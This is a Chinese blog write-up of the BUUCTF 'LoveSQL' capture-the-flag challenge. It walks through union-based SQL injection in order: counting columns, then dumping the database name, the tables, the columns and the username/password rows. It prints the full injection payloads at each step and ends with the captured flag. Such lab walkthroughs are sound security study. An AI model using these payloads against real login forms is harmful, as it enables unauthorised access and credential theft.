zoukankan      html  css  js  c++  java
  • [极客大挑战 2019]LoveSQL

    [极客大挑战 2019]LoveSQL
    打开后页面和easysql一样,测试了一下注入点:

    在username和password都可以注入,并且单引号报错双引号不报错

    接下来就是按sql注入的流程操作:
    1.测试有多少字段
    测试每个字段对应的内容
    2.爆出数据库名
    3.爆出数据库里的表
    4.爆出表的列名
    5.爆出所有数据

    第一步:测试有多少字段
    用order by

    所以有三个字段

    第二步:当前数据库名
    使用联合查询,结合第一步查出来的字段数,构造payload:
    Payload:?username=1' union select null,null,(select database())%23&password=2

    所以数据库名是geek

    第三步:查表名

    构造payload:?username=1' union select null,null,(select group_concat(table_name) from information_schema.tables where table_schema='geek')%23&password=2

    所以这个数据库里有两个表:geekuser,l0ve1ysq1
    第四步:查列
    有两个表,所以一个表一个表查
    geekuser :
    Payload:?username=1' union select null,null,( select group_concat( column_name ) from information_schema.columns where table_name='geekuser')%23&password=2

    l0ve1ysq1:
    Payload:?username=1' union select null,null,( select group_concat( column_name ) from information_schema.columns where table_name='l0ve1ysq1')%23&password=2

    第五步:查数据
    也是一个表一个表查:
    geekuser
    Payload:?username=1' union select null,null,group_concat(id,0x3a,username,0x3a,password) from geek.geekuser%23&password=2

    只有一个数据
    下一个表
    Payload:?username=1' union select null,null,group_concat(id,0x3a,username,0x3a,password) from geek.l0ve1ysq1%23&password=2

    这一个表数据很多,把结果复制出来整理可以找到flag
    flag{26b7bc65-f891-49d1-94f6-b3ee6266e07c}

    BUU使用动态flag,请勿直接复制

  • 相关阅读:
    Java垃圾回收机制
    Mybatis 通用 Mapper 和 Spring 集成
    MyBatis:SQL语句中的foreach的详细介绍
    PageHelper补充
    Mybatis分页插件PageHelper
    定时任务
    权限框架Apache Shiro 和 Spring Security
    Navicat操作数据库时一直显示加载中
    BigDecimal使用中的一些注意事项
    WPF应用程序嵌入第三方exe
  • 原文地址:https://www.cnblogs.com/yunqian2017/p/13304917.html
Copyright © 2011-2022 走看看